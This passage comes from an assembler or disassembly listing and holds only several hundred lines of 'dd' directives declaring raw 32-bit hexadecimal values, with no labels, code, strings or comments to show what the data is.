		dd 0C134A188h, 0E8F9A60Ch, 25978208h, 87297890h, 34262F09h
		dd 0E2E8233Ah, 2A3E251h, 45EE3D1h, 48424244h, 8060AED3h
		dd 280A9B5h, 0C829C0A0h, 2474E4EDh, 7C00967Eh, 823863DBh
		dd 26BAE323h, 1F508A6Ah, 0F8A5AF12h, 0E9BE164Ch, 60BC2DF0h
		dd 167729D8h, 0E323D170h, 3296E2D0h, 87DBFA80h,	610099FAh
		dd 520BB0CDh, 96575468h, 0BD25BBCCh, 8E1410A0h,	16133A30h
		dd 0C8A420C2h, 60E688E3h, 50A2F1D2h, 1230EEF2h,	0AC142D8Ch
		dd 9DF06CC8h, 85D180C8h, 21186E40h, 2AC844DCh, 4C6498h
		dd 43878EAFh, 5E46B776h, 263F8602h, 76FC25A6h, 58A20944h
		dd 6E100464h, 145CBDD0h, 802C9B97h, 7A2846F4h, 18A3E40Fh
		dd 41DC87E5h, 141E4315h, 65004C4Bh, 0EDF21E1Ah,	4E49718Ch
		dd 0EC24C598h, 20B8D288h, 8CF2ACh, 42C4537Fh, 4CB87B05h
		dd 0A8023F5Ah, 70481E40h, 0C90802D4h, 5C1423C4h, 0A809407Ch
		dd 0B0900206h, 311600A4h, 0EC09E5D8h, 5442D179h, 5427020Ch
		dd 6C44F777h, 5AFCAB40h, 23683BA8h, 756E03F2h, 23A8B2F4h
		dd 0D092B41Ch, 423AF700h, 0D11E4EA2h, 44D55CEFh, 0E41F6D27h
		dd 2F819411h, 393BDE66h, 46AA0514h, 9CB02A6Ch, 0C9149E90h
		dd 906490E5h, 1A5BFB60h, 9F1B0C01h, 922E5262h, 0D25E0C34h
		dd 0F23CE259h, 0C2AE3091h, 0F24F4E16h, 0A47F7C06h, 0D190B1B0h
		dd 262818D2h, 8987B09h,	6E1CF4B3h, 4DF78880h, 2535FB2Ch
		dd 0C42B1649h, 4812EC27h, 0D40C7104h, 19294CB0h, 0A92AA76Fh
		dd 9873A9h, 0B0BE1B25h,	1C9F456Ch, 413B2DB7h, 0F6754BDDh
		dd 0A9E44204h, 4BF85323h, 88E4CE26h, 456FC0F0h,	0DE258118h
		dd 0CFC7378h, 3891C580h, 92FF0100h, 4AB7DD5Ah, 5F2E03FEh
		dd 8191339Eh, 8362F7D8h, 29002A77h, 87EDB5A5h, 1240B9C0h
		dd 0BDE74876h, 0F95B1008h, 1817184Ch, 0C2E8A9EEh, 0E02DCD4Fh
		dd 95DA2440h, 0C313F8C6h, 0D0F0F00Ch, 809E1D31h, 0B4388136h
		dd 287A4C2Eh, 0E85BCA4Ch, 11F01D27h, 9789F3h, 8753C3FDh
		dd 2C721206h, 0D82880ACh, 0B9407A52h, 943B26D7h, 0D06DAFACh
		dd 34031C7h, 0BB91B61Fh, 189771A4h, 8C7B1363h, 2BFB0981h
		dd 0C601D8DCh, 0D9F11B9Ch, 0BCC01820h, 74A42CD4h, 0E5009646h
		dd 105C7499h, 0B9F69304h, 0CB5DA225h, 0DD710EE4h, 0FD16B509h
		dd 20AF1EA0h, 0DA150240h, 7ACCEC01h, 739101A4h,	0AC341BC4h
		dd 0DC226ADFh, 64A62156h, 101C7A32h, 9828A7CEh,	0FE125851h
		dd 0B5991290h, 0B2804B4h, 878018EBh, 0D2B9085Fh, 0C8A8D830h
		dd 0E69D1DA0h, 0B0AF4E26h, 82804F6h, 0C34DFA8Eh, 14EC58F0h
		dd 0A3A21250h, 94730829h, 96B03846h, 0AD02D1EAh, 641471CDh
		dd 5E2C89A6h, 30D96980h, 0B718EF59h, 46A59402h,	0C7B006E7h
		dd 60F6C490h, 2D8AE7Ah,	0C884E7A6h, 3CC076DBh, 2E80C5A8h
		dd 5C161348h, 3A6C88D8h, 21A741C5h, 0E6C500E8h,	470EF8Ch
		dd 270C991Ch, 445932A5h, 97B420Bh, 34D4B7h, 0C8A23340h
		dd 2CB5C291h, 956D1854h, 0B7AF048h, 40F65317h, 85C85008h
		dd 0A851B46Eh, 9737044Ch, 52723Fh, 0B2E14C28h, 522CCA09h
		dd 0CD8A3C16h, 3A08BC0Fh, 4F140199h, 3695A675h,	342F5A5Ch
		dd 0C803D123h, 0F975190Ah, 121A374h, 95803C7Ch,	6F67DAA2h
		dd 18BCE901h, 46065871h, 0A6D8D42Eh, 0BE7EF0B8h, 0A447003Dh
		dd 0F47BD218h, 4A2F6059h, 0B4DC60AAh, 0A931C731h, 0E882C4C2h
		dd 0B712DE4h, 0D02CFB5Ch, 6D01D327h, 32572D14h,	0F53178DFh
		dd 0ADE4482Bh, 0F4786CABh, 733E0975h, 98471AE6h, 0D760F4C4h
		dd 38E45CE3h, 0F0F22824h, 0A4EA08h, 460B8629h, 0C493AAFDh
		dd 98A2D10Ah, 35C0A80h,	8E8402h, 7654B725h, 0C689EDCDh
		dd 0A262C0B4h, 0A7AC7C5Bh
		dd 730B8871h, 3F6D0086h, 5B94853Ch, 6ACC20BAh, 1A000C47h
		dd 6E786CF4h, 4F9DBC97h, 5E9CE008h, 9450E197h, 0E00BB401h
		dd 5B5AAB17h, 7445F471h, 2E21BC08h, 3152C205h, 0E9D4E040h
		dd 605D740h, 642423CDh,	0CA2740BFh, 0FA481206h,	30414554h
		dd 9F44FFC8h, 0B441954Eh, 0B37DE2A2h, 72381B20h, 67D230F1h
		dd 0DE4ECE02h, 62BC085Ch, 0DF749C05h, 0C4D314B6h, 1E3861C4h
		dd 0A4223B9Bh, 1FA06889h, 98E49D1Ch, 0C772DB0Fh, 0A3372426h
		dd 7C01F0A5h, 0DFECD520h, 0DE9C272Bh, 6293FCD9h, 2382D8ECh
		dd 0E8E97444h, 0D9219651h, 0C58238C3h, 0E222202Ch, 583C88A1h
		dd 1AF0BC41h, 189D61FEh, 219BE98Bh, 0A2701814h,	700290A2h
		dd 8484759Ah, 0A49B856Dh, 0A8A8D184h, 14257208h, 7F0C62E8h
		dd 0FC25A091h, 0FC0086CFh, 8C70570Ch, 2CE0B542h, 9D684629h
		dd 6FAB49B3h, 0A80CFC07h, 0DC5F901h, 23ABFE4h, 0EE6B5428h
		dd 0B8896E03h, 0C0B9DB62h, 74239D9Eh, 0DA3DB7E1h, 5F8F8085h
		dd 4DCFCE29h, 602090F0h, 0BBDF2024h, 417BABBEh,	0BF832901h
		dd 9F1FF923h, 4A2AEFD0h, 3989030h, 0E80F86AEh, 8F2E68h
		dd 0C832F14Fh, 165013E2h, 4240E87h, 2FF024A0h, 0A0F8B791h
		dd 0A99F0916h, 0D4B824A9h, 430005EEh, 2BF6A21Eh, 0BFD66426h
		dd 1588D4AAh, 6205FC84h, 0F1464A3Ah, 0DC6E2B14h, 75552500h
		dd 80F023BDh, 0AFF52216h, 8EAE9CB8h, 0D79D20CCh, 0E895C6E9h
		dd 842C50B6h, 83A6239h,	45031198h, 7920188Fh, 935B086Ah
		dd 0CC1D3480h, 0F009E720h, 63668140h, 0BC3E20F4h, 0E9820819h
		dd 59888B68h, 0E40C2589h, 400C18D2h, 11C4B405h,	0FC062D2Fh
		dd 0E5830837h, 96164818h, 0C6206E08h, 84A2B18h,	18F32131h
		dd 0DC017499h, 3B12013Dh, 0F140888h, 8097608h, 5F0C1BC4h
		dd 639870E8h, 394208FEh, 0E5751811h, 0A331D420h, 1F2A08FDh
		dd 10DF2091h, 0B522EA2Bh, 8CDE131h, 9F03D5DAh, 4031988Eh
		dd 0D02910DEh, 98A8088Ch, 10633A18h, 183C2550h,	189B5C08h
		dd 8C4AA17h, 0A804F06Dh, 0E04A06F1h, 0F2332040h, 10DC4831h
		dd 6001BEE6h, 0DB48880Ah, 295418A5h, 0CD80CEC4h, 6920C622h
		dd 0C72010D8h, 0B091542Bh, 10156252h, 0F802977Ch, 41A20326h
		dd 990D0833h, 6361EE5Ch, 0F7D848E3h, 0CF071010h, 3188B32Ah
		dd 6218BF10h, 0C30895A6h, 6F271280h, 82C3448h, 130C499Fh
		dd 6355080Eh, 5CA730EDh, 0D3010818h, 811C1138h,	6B918C18h
		dd 407B0832h, 0C463273Ah, 10C78130h, 58EC0E08h,	48F9669Fh
		dd 81626608h, 5D5411F2h, 70638794h, 63F49410h, 408AD139h
		dd 0F5D61810h, 1004CA19h, 6C5024E6h, 0CCC7EF40h, 54D134C1h
		dd 81E5E1CCh, 28C962EDh, 0C1061DD2h, 983954B9h,	8E7635Ch
		dd 2818BBF8h, 608918Fh,	0EB28CA43h, 0C3D988ECh,	1823D30Ch
		dd 8B934026h, 1D40DF66h, 0C66F77D1h, 28242908h,	0AE993D66h
		dd 91E46649h, 8CE0095Ah, 4AF66781h, 0F038A234h,	42DD035Ah
		dd 5EC04010h, 3290512Ah, 6908CBA8h, 0A7969048h,	0E42594AAh
		dd 0F5C844D2h, 184B04C0h, 438E904h, 24091944h, 921CAC24h
		dd 7C493F30h, 5FFC52A1h, 0A14A8A2h, 2A311803h, 6290BB08h
		dd 306B6178h, 7C97ED04h, 7118EBF6h, 34F38112h, 36404F14h
		dd 4398A9F8h, 64597834h, 0D18D0879h, 1CC3310h, 6F001309h
		dd 814CED76h, 299480A4h, 584E0302h, 0C021CECh, 765BEA2Ah
		dd 8CD224C0h, 0DB74C60Fh, 162000E0h, 89CA219Bh,	5E496086h
		dd 19223Bh, 0FC04E0A3h,	0EFB57523h, 5FDAD3D0h, 1ED4F2FFh
		dd 0A70099BEh, 4DBF1E38h, 7EBA0FAh, 0E8000AFh, 4ED9A8EAh
		dd 0B90090E1h, 84C0C118h, 1EC6D195h, 0C09AC838h, 21AC9188h
		dd 300947A3h, 40C78057h, 3DC4E98h, 19382018h, 0AAD3F188h
		dd 83CC53E1h, 0FEE04EE9h, 0A8AC8833h, 6508F0A6h, 835711FFh
		dd 2802B9C5h, 4C45C746h, 0FF1CA0CAh, 208018EAh,	80E17EA8h
		dd 0A3BD2611h, 0B8D5E51Bh, 0B57403FEh, 0F5CD1C3h, 584CF000h
		dd 0C5A949DBh, 0FC29006Ch, 40D93FBh, 0C964580h,	3CED6716h
		dd 0B50F224Ch, 62C38EF4h, 0B380BECBh, 0A9039B49h, 78D208E0h
		dd 0B85801D6h, 0DED1A3CDh, 8010B933h, 6C7B66C0h, 9BE598h
		dd 29C777E8h, 10C3F9EBh, 4E1F6A00h, 69E4B001h, 7F280085h
		dd 93E84626h, 520CDAA6h, 88705480h, 0ADFE3C0Eh,	0F403162Fh
		dd 0E05A2990h, 60930E4h, 8805F7Eh, 9D042061h, 0E588B71h
		dd 7868F0A9h, 0BC560018h, 0F7B84DBEh, 0B5AD2302h, 51A4DF4Eh
		dd 681D8ED4h, 60580750h, 9103B0EEh, 254006B4h, 303964E6h
		dd 0BA3C821Ah, 2284E028h, 0A081B7A9h, 51CB16A0h, 2FB2E6A0h
		dd 0F7998000h, 0C3AF3480h, 0A4EA4898h, 10F1A6C7h, 50DCCE1Eh
		dd 21769C0Ch, 2A54B07h,	0C2792060h, 9D7CF472h, 782AB1CCh
		dd 90C5E8B6h, 70456270h, 7E00A89Eh, 2DC9620Bh, 0AC06FA82h
		dd 0D1182820h, 0ED41BB90h, 19B666A2h, 0C97C6052h, 1B102661h
		dd 107FD5FDh, 29148480h, 2485A4F0h, 7EB0272Ah, 38261413h
		dd 459D2387h, 80AC0648h, 8A75E11Fh, 268BB8A1h, 0D480162Ch
		dd 53684E0h, 93435E31h,	378A899h, 0F95856C1h, 0B7190230h
		dd 79E6B3A8h, 27332870h, 7C9950A5h, 6ADB2A08h, 0E1871FF8h
		dd 0D896419Fh, 6E32D201h, 2D375400h, 2ABF7B3h, 0B5B8FA58h
		dd 0DB81CCEEh, 8064A680h, 3BA78B88h, 6081E6A1h,	8A7150C4h
		dd 78A00D58h, 84A433B0h, 0B8FCC01Ch, 777E09h, 0BEB38E9Ch
		dd 0A5C8A9F2h, 40D9844Ch, 19D46D0Ah, 31BB054h, 8F4C06D5h
		dd 8462D45h, 0A068802Ah, 0A5040E03h, 9F2A1086h,	0C4EBEDB0h
		dd 0D2161660h, 28D0C043h, 7095F496h, 25E634F8h,	0E0C85C1h
		dd 0C5E95214h, 0AFC5828h, 964FD29h, 0F003A360h,	0C8249241h
		dd 0C93C3CC8h, 33025830h, 0E0BB29B9h, 0A318615Eh, 600AA2A3h
		dd 9478280h, 57678833h,	0EABC1084h, 9F4CEC46h, 10DC81D0h
		dd 0EE22900h, 0A7D08900h, 0E9D21C86h, 0A8983Fh,	9E95525Eh
		dd 6D31C071h, 0CA2CBB03h, 7B5DBFD1h, 4EB12420h,	64D9158Ch
		dd 189E5208h, 87FE1A38h, 0D1B6C0C0h, 2919C340h,	1A08694h
		dd 6954DF80h, 0C17EB4C4h, 0E50928A6h, 41B0CA2h,	6712B2C4h
		dd 63A80310h, 0E45A6005h, 2C82209Eh, 0C3E8841Bh, 41D66C9Ch
		dd 580051B0h, 82F4480Ah, 710EC430h, 1271A3DDh, 370F5888h
		dd 0BC288804h, 22CC6251h, 0C0544030h, 8B979B09h, 467C0295h
		dd 0EE990068h, 0C960B480h, 87D8C648h, 24009FDEh, 0CF67C8Eh
		dd 2C95F718h, 54D24B38h, 0F62EAC61h, 79D7DC3h, 0BC8CBFF3h
		dd 9638409Ch, 9E0017C0h, 0F415C9DCh, 1C2B535Fh,	96CBA6F5h
		dd 8654043Ah, 0F8EF4CAFh, 408C407Dh, 3110BF62h,	18180974h
		dd 949A30D1h, 0E1580B01h, 0A5F7B63Ch, 20F087E9h, 694B39Bh
		dd 381AA6E6h, 74E8C109h, 97C882CDh, 2AC48580h, 0A6FBBC81h
		dd 4E87D5D0h, 0F7D48058h, 94010B97h, 568116D9h,	34355380h
		dd 0EE6E830h, 505A271Bh, 4527F46Fh, 2B69AFD5h, 80FE68A0h
		dd 0C49B52A7h, 2840C420h, 0C864A09Eh, 8A2A806Dh, 53B99D01h
		dd 0C6B1E630h, 0D522B189h, 9EA7CC90h, 0E6006DE8h, 0F48EF5E4h
		dd 4C1622B6h, 0C445C8AFh, 0E60B1C26h, 0C419A6BDh, 487C6694h
		dd 0C321F60h, 0A1AF7F4Eh, 6EE15BAAh, 17E7FDF0h,	762968h
		dd 921C5DA4h, 0F703D8D1h, 0E6A9C0B7h, 58D62Dh, 0D040078Dh
		dd 97982845h, 80E7991Ch, 0B443BD56h, 5A20D1h, 75CB0699h
		dd 0EF18300Bh, 0F680C9C4h
		dd 88641D12h, 670458E3h, 9CD0B106h, 9840B58Dh, 0E62A0800h
		dd 5C1C734Fh, 0D4DA390Ah, 3D103F94h, 0ED0C0CAh,	89EC59D4h
		dd 507CCE09h, 0BE9B093Fh, 71B80726h, 0B893843Eh, 622018C7h
		dd 0FC1648h, 347A3033h,	0E6109B7Eh, 89D022F0h, 0FB460AA8h
		dd 5A41A0ABh, 7FC09F08h, 1338905Eh, 5DD4F480h, 43D9349Ch
		dd 0AD0D67DCh, 0CCBD4928h, 3C6B0F20h, 9B009029h, 0EE9880F2h
		dd 4F055B9Eh, 1A16ADE9h, 5852DE00h, 656D07h, 2869CA0Fh
		dd 0D0C05D80h, 0E2CE140Eh, 0C607C357h, 62ADC1A7h, 69300070h
		dd 149088D5h, 0C91AE92h, 0C08D8131h, 1D51107h, 6F343583h
		dd 5C51B8C1h, 3DD07ED0h, 9A0289C2h, 62EE91C4h, 9528E860h
		dd 18AC22E9h, 12E8F743h, 190E6FCh, 9796A0C6h, 45D0CAD1h
		dd 0B8605494h, 38BE0A19h, 0BD272028h, 0A800839Fh, 0AEA7AAA6h
		dd 0A1428190h, 31C0769Eh, 9844B0F1h, 8B9D449Ch,	0BE2600B8h
		dd 0E80B0C96h, 0C1881248h, 7FE16718h, 405DAC24h, 970028C3h
		dd 204455DDh, 8838A9E6h, 0FC90B3FBh, 0D27F8812h, 0BECC8844h
		dd 0B02690C8h, 92D1160Ch, 0C0881F8Ch, 75947151h, 0DB20A6D4h
		dd 3ED11025h, 44592716h, 32A609D4h, 80D8BD88h, 0F088CC93h
		dd 0DE0BC0DBh, 88929F20h, 5AF83820h, 544C4015h,	37B6684Ch
		dd 179C0D00h, 0B9B0EC0Ah, 0EAE1CFAh, 0E558C108h, 0BF884C8Fh
		dd 672E84E0h, 3894A3CCh, 5F349809h, 6220A8ACh, 0D8BEAB26h
		dd 80D3CF81h, 0A0832514h, 3A29D198h, 585CC800h,	4D38A6F3h
		dd 44D2182Dh, 82281845h, 0BDCA1B01h, 8803CDE4h,	27A8402Eh
		dd 97300146h, 4931091h,	0FC004056h, 876798Fh, 0D6B87B2Eh
		dd 2E041C4Eh, 40AA1805h, 9D00DF35h, 4222636Ch, 5BA767F7h
		dd 0C4E840A4h, 0DAD3EAFCh, 40E0E61Ah, 4A28E658h, 1F648858h
		dd 8B4D0890h, 0C74E0020h, 89830445h, 0C8F0C805h, 81B89103h
		dd 0E4AAE2F8h, 30550B4Ch, 0D818EA4Eh, 21D07DC3h, 154019Ch
		dd 2F05B52Eh, 0B12CD464h, 49DB00D0h, 7194F567h,	0AC80023Ah
		dd 0F7805CA3h, 0C9898EB1h, 4E2C0087h, 97DA3AE5h, 0B378FA51h
		dd 1295CD03h, 0F85A588Dh, 4F6876h, 51D4A60Fh, 28B51DB8h
		dd 0BC838700h, 90DF5C4h, 0FE5802A5h, 0B2465B6Bh, 0F26338C8h
		dd 58601082h, 9001978Eh, 229F4430h, 6E24703Ch, 560F5047h
		dd 804D02D4h, 9004692Ah, 961D0038h, 9152D1h, 0E6A8F980h
		dd 58CE6362h, 0D0BD05B5h, 9CE4BC44h, 0A8A0804Bh, 403934B9h
		dd 0C13E087Fh, 4CA849F1h, 17DB2240h, 44241FC9h,	0A40B1B40h
		dd 0A802318Ch, 4F80ADACh, 26A0E569h, 39E6C188h,	6018A67Dh
		dd 609DE300h, 7EC98C0h,	7E76289Ch, 8C2EA2EEh, 1C860960h
		dd 0C5EA2A0Eh, 6006E0ABh, 28B7F0h, 0A317E79Ah, 0C7DC4E69h
		dd 9649D401h, 2EE692A8h, 0D221C424h, 0B05800E1h, 0DD26FA47h
		dd 4081949Ch, 5B0145F7h, 4A466FEh, 4ED1EF60h, 0D89C8053h
		dd 5230E67Bh, 0A081B10Ah, 0C1BA247Ah, 3812B8C8h, 0D0341197h
		dd 4E8D274h, 0FCA584h, 0ED054E33h, 61EC009Ah, 0A0938328h
		dd 0E61813D2h, 23583CB2h, 0C9489CB5h, 7B761880h, 0C902220h
		dd 83E86700h, 0FCA8FAA3h, 3A811239h, 270376Eh, 0ECA0B6EBh
		dd 17592005h, 0DD1D517h, 9491F8A4h, 0E2978950h,	84482C84h
		dd 0F08CB548h, 0C8961CC4h, 1CFDA114h, 7E0CB175h, 1225686Fh
		dd 32EE2990h, 0D110E1DCh, 13892D4h, 0A76D78FAh,	0E9E69D3Bh
		dd 82209474h, 7C08BC4h,	5C06B868h, 1BF5F8B1h, 201FF0D1h
		dd 8AE6A2EFh, 7C2C08DCh, 0D8CC28C5h, 96D4B266h,	4382E2Ch
		dd 126A1C01h, 0ED60A080h, 671FE0B9h, 0CA2DC07Bh, 0A6C834F8h
		dd 33B32080h, 8E10C28Dh, 7D301FC0h, 0C91C378h, 0F11040A4h
		dd 50E9BE02h, 60C2FAD8h, 0C482DC3Bh, 15D8B8A1h,	5D038B4h
		dd 9D4081B6h, 89BD848h,	620BB205h, 33D014BBh, 0AE50C27Ch
		dd 8294A181h, 81095838h, 896FC30Eh, 6883FDE4h, 0C34A8A29h
		dd 0C8CF32D1h, 9E779CA5h, 90BF7930h, 0B5B2803Dh, 5E300C01h
		dd 0DD62F597h, 58CBCDD3h, 90415C3Ch, 149F4064h,	10D48971h
		dd 1F44234Eh, 0A48B2027h, 0E20BC714h, 2CB91882h, 0F077A0C4h
		dd 0D1634804h, 0DCB2DF30h, 268E7100h, 0BE091634h, 2CAD6600h
		dd 0AF9AB187h, 94FB5856h, 1EAE533h, 0A9F438B6h,	0E2BE618h
		dd 9B41280h, 0BC657B10h, 0F1001CF8h, 895E73C4h,	3F149907h
		dd 0B2981FBFh, 22F038A8h, 2659B080h, 80B88C80h,	0AB81B99Dh
		dd 66587195h, 79DA0320h, 0E0EC88FDh, 849AC768h,	94082849h
		dd 0E520024h, 1E198DB7h, 7A300304h, 0AE48B89h, 98AEFCE0h
		dd 2E9FE800h, 8629CE82h, 477F00C9h, 0B4146040h,	97EC90C0h
		dd 0E6284504h, 78905E93h, 6B17986h, 2C80626Bh, 0D125A9C6h
		dd 0F4F0D038h, 7FBB04AAh, 0C80E8093h, 0A54406B4h, 0A3BD1CBEh
		dd 0B8B5C499h, 0EF28F0C6h, 200347E8h, 2F80F99Bh, 0DE390078h
		dd 0B133E206h, 10C0ACFAh, 0DD6F566Dh, 847F2487h, 2DFD873Ch
		dd 0BA851095h, 962E535Fh, 0E6058E5Ah, 0F0CA5740h, 96ABCA12h
		dd 0F901D0D8h, 1829777h, 0D023F0FBh, 10202A2Ch,	62245244h
		dd 6A1E8018h, 0C3B8CB50h, 238D667h, 2B57E3CEh, 0B4E41398h
		dd 0F4B22DE0h, 0A230E6E8h, 0E85C1808h, 0D1C9127Bh, 91588675h
		dd 2BD2C27h, 4084AB80h,	0B604801Ch, 0CB600AD0h,	800753F4h
		dd 9E566A50h, 57E401BFh, 4FC46728h, 0C1622606h,	0A98400D4h
		dd 0DA4CC7F8h, 0CFFF2CC0h, 4ECB01DFh, 719031A4h, 6C0404F8h
		dd 0C2076D03h, 7ABF2082h, 619F5FC1h, 0C8936FCDh, 4C7CCA45h
		dd 0ED210260h, 0C0897833h, 2E98608h, 5292D68Fh,	14A0052Ch
		dd 0D18A37ACh, 508C4C00h, 0C68B31Dh, 573906BEh,	8019D680h
		dd 2694974Ch, 13274884h, 0D400070h, 0DB1287FAh,	4E03E103h
		dd 0AC8097E6h, 1B380A96h, 2C982EADh, 729ABFD8h,	0BC83A869h
		dd 582591A7h, 1B483FFh,	8852CD2Bh, 405AD809h, 94B362DCh
		dd 0EFCCA46Ch, 831141Fh, 0D20DD802h, 0AB0F0442h, 512892CDh
		dd 46E40824h, 6310711Ah, 0AC88E414h, 73BA0E81h,	0EA0B8063h
		dd 0DC985044h, 2A02FC87h, 51B27067h, 0B69180C8h, 21B74D0h
		dd 11E68E09h, 0F034C410h, 10156720h, 0AC6502ADh, 9B302C40h
		dd 0B1A8CC0Ah, 0F81D8898h, 0F85C1325h, 26A27773h, 5C2665h
		dd 0C40B2231h, 97A12E5Fh, 7C40D2F6h, 0F2004F5Ah, 8DB88485h
		dd 1EFB29h, 58685378h, 1B54A6FEh, 1D08058h, 5A2788DAh
		dd 0F8A0F8C0h, 0E62F0B08h, 0D8227C3Ah, 5F008A2Bh, 1D661550h
		dd 4E92CE79h, 9549251Eh, 60E0880h, 0E30058AAh, 616A538Fh
		dd 24BE429h, 8009C082h,	88C8466Ch, 580951D8h, 8045EEE6h
		dd 2FFE9A86h, 1BE1014Eh, 0A863FD1Ch, 0DF09E1AFh, 0CA561116h
		dd 0AD52BC5Eh, 2ACEE040h, 787007C4h, 9C33005Fh,	0B2FF9917h
		dd 56485AA1h, 0D4FA3E18h, 0E05F80DCh, 52969402h, 12A876F1h
		dd 8A0C1620h, 253070DCh, 302A6889h, 5D660E44h, 541D63C6h
		dd 102FCB5h, 0DF19BDFDh, 95C010E2h, 46030BC2h, 68032A24h
		dd 0EAD1C055h, 9AC81F4Ah, 0DC60C037h, 300A5853h, 29CC1500h
		dd 0CE33D472h, 3CC8BE08h, 40B2E5AFh, 58AB4448h,	5BD98018h
		dd 5DCBFA0h, 2BA7310Ah,	0C07C8526h, 0E910C450h,	590048BAh
		dd 0CC529D24h, 0B867B2C9h, 0D07E61F8h, 2CB7F6D8h, 28149618h
		dd 94C096A8h, 0B7BD7BE6h, 96354802h, 0A4ECCCE3h, 0B6006EDCh
		dd 0F34C5BE0h, 10FDC3A6h, 7B165DE5h, 909A38E0h,	0D6075805h
		dd 0E8819277h, 0EC280524h
		dd 17E30A1h, 6C605BB3h,	9005483Bh, 85F6BEC5h, 8128F010h
		dd 594840h, 9A294D09h, 0CEFE1AF4h, 0BD09C37Ah, 2371E73Ah
		dd 88B51F58h, 0F02996h,	0B35EA56Ch, 28C205D8h, 6A4B5C9Ch
		dd 0C574E2A0h, 0D19883ACh, 0B81E2E02h, 0D6C0B92Ch, 0FADB5856h
		dd 83B804C0h, 0D01DF0D1h, 0DD4E7BA0h, 944BC894h, 82E82008h
		dd 549D6D0Eh, 0D1C09F0Bh, 7FAD99F7h, 7C7E3080h,	0CBD8720h
		dd 0C824EA00h, 4FFDDC69h, 99E9013Fh, 0D84779CDh, 0D4F8C2D1h
		dd 0E6B2FA04h, 5CD0A090h, 7FC6DECh, 0E7583494h,	74BE3161h
		dd 0B0E1C2A9h, 23118962h, 0A0444CBDh, 0DC91E730h, 3BDEDEA1h
		dd 544838D9h, 2F9CB870h, 689236ABh, 202A4CC1h, 88BCB6A0h
		dd 0F04CCC26h, 0A844B328h, 5BD17F70h, 0DDDCC38Fh, 0DE4D1018h
		dd 4A4E7621h, 0D78C23E0h, 0E2490B4h, 0B13B702Ah, 80EB8579h
		dd 0D0B45C4Ch, 830200ADh, 44823024h, 2605C7B7h,	9A2FCBCEh
		dd 0FE60807h, 9F9158FCh, 81B25480h, 60C7A110h, 509DBF80h
		dd 0FD07B439h, 90375316h, 0E62EF099h, 0D444C6A2h, 6CC2884Ah
		dd 0C53CF24Fh, 0F03D8770h, 9FA307Ch, 1D0CD779h,	0A8FEE31Bh
		dd 73800C5Bh, 0FDB8AA02h, 0CA14BB0Bh, 0AF3CA08Ah, 71F0932h
		dd 0F1C05141h, 91AA32B7h, 9E652C60h, 58A0A800h,	264BFDF9h
		dd 7DC98A2h, 0FE8CE554h, 80DC6A80h, 2AAEFD0Eh, 0B6EAD192h
		dd 7AE8A4A0h, 30B9C903h, 0C8FA6711h, 0C04EFC80h, 585407B9h
		dd 4F0594E5h, 0C2D23B5Bh, 0E16084A1h, 568273C3h, 0E118E0B4h
		dd 0EE3610C9h, 0F769DE07h, 0B6C7F8D8h, 0E01C4B9Bh, 690F0DEFh
		dd 0A491A896h, 61D1C0D8h, 4C608D65h, 0DCA884C4h, 0EE919500h
		dd 0AB0C312Bh, 5B7903Ch, 876733DEh, 0E4A0DCD5h,	60214C9Eh
		dd 28EBF000h, 0B85B0498h, 7A70EE58h, 76921A03h,	0DEBD8068h
		dd 0E089858h, 840DBCF7h, 0A88D5904h, 9C6092BCh,	0B158CC67h
		dd 0B469CDCh, 2CE4525Dh, 0B304E920h, 0BED38138h, 0F4392B58h
		dd 9100A820h, 4615EBAh,	1E32ED23h, 288729Eh, 0FACDD201h
		dd 0B583BC54h, 0D2EEEDA6h, 816237h, 2B159108h, 0B2251FBAh
		dd 0C7400BC0h, 9F0C7C80h, 58A0ED26h, 2F00CFCEh,	1AAD497Eh
		dd 4F2995BDh, 56B844EAh, 0E798C1B4h, 0A733015Dh, 5A9187F8h
		dd 7FA043C8h, 80C4F7BAh, 0E5863FE8h, 16C00D00h,	464C54B4h
		dd 0BD2A06F2h, 0F826B6E6h, 0D0FAC92Ch, 401FE00Fh, 9348F45Dh
		dd 0FDDE26E6h, 0A48C230Ch, 1C3E02D8h, 0CC881E6h, 0B54F9523h
		dd 9028F03Dh, 0F3C80112h, 482C5D64h, 3AC3A30h, 0D471929Bh
		dd 0A9B5E260h, 0E298B3E0h, 4D45CEAh, 742DE6h, 0DD3B8A29h
		dd 980A0AB8h, 0C09EECh,	0F5FAA91Ch, 0FD00D04Dh,	5F419727h
		dd 1471F160h, 8C9433D9h, 0AF63C30Fh, 9DE89823h,	43521181h
		dd 0A14C2DA8h, 4E1DEA0h, 0D689E9D1h, 1F16E070h,	2404B58Dh
		dd 9C0009AFh, 0BD19A907h, 888CDC00h, 53B20CABh,	754E0572h
		dd 900E94D1h, 5B339820h, 0CE05D602h, 89803041h,	3258A508h
		dd 655A48B0h, 0B8F0A00Fh, 0D64C0188h, 0CDE72C9Ch, 0E0FDF024h
		dd 6984246Bh, 0F03D0014h, 0F7D836A3h, 0BE31D119h, 5C715670h
		dd 0B73C06Dh, 0EF4C2C87h, 304260C6h, 35810h, 0F5619A0Fh
		dd 6184A1B3h, 462A3040h, 32C031FCh, 15921680h, 82A80420h
		dd 79C3A3E6h, 0B5940F10h, 0C8E39991h, 80D99A09h, 88747431h
		dd 0CB37AC00h, 2353D4CFh, 0DD050F4Eh, 0B8896C46h, 0D0C99081h
		dd 0FD87F232h, 20ED3009h, 0A748409Eh, 29099C9Ch, 0A0547095h
		dd 3D2A51D8h, 80E1D2E6h, 0E8DE3813h, 0B05CB8B6h, 48700E4h
		dd 0D89FEB66h, 0EF2A2801h, 0E6300908h, 1453174Ch, 0F4012D16h
		dd 0C85604D1h, 9588E089h, 6712CC58h, 30C975BEh,	1385483Ch
		dd 0F2A8D27Bh, 2C38B4FCh, 962D2CFBh, 139829B0h,	842CA0h
		dd 1F1D7FDh, 1971AC84h,	0A6E2E618h, 0B0772051h,	88A49938h
		dd 2C1F9192h, 84900913h, 4CA3C5BEh, 0B814AC99h,	84D2F48Eh
		dd 0DB818334h, 3C8D684Bh, 3C8BAC64h, 0B44E87E9h, 0EB406288h
		dd 2E64B67h, 0FB42D1A0h, 535F7860h, 0C93DE00h, 45AECDF8h
		dd 91902FE1h, 7D8849h, 496CB6F0h, 9909E06Eh, 84718F71h
		dd 9CEF1B8Ah, 1172A20Ch, 984CF0EEh, 0B82D1D1Ch,	1CC813F6h
		dd 2494663Ch, 0E2B0802Ch, 5AC800Ch, 9F8EF203h, 5FC0FD1h
		dd 73EA8198h, 54E8A4AAh, 0CF6D8002h, 42908EF1h,	0B24593Ch
		dd 0CC40B51Dh, 8B9D4CD1h, 0C10C63E8h, 28A7CDB8h, 4672A846h
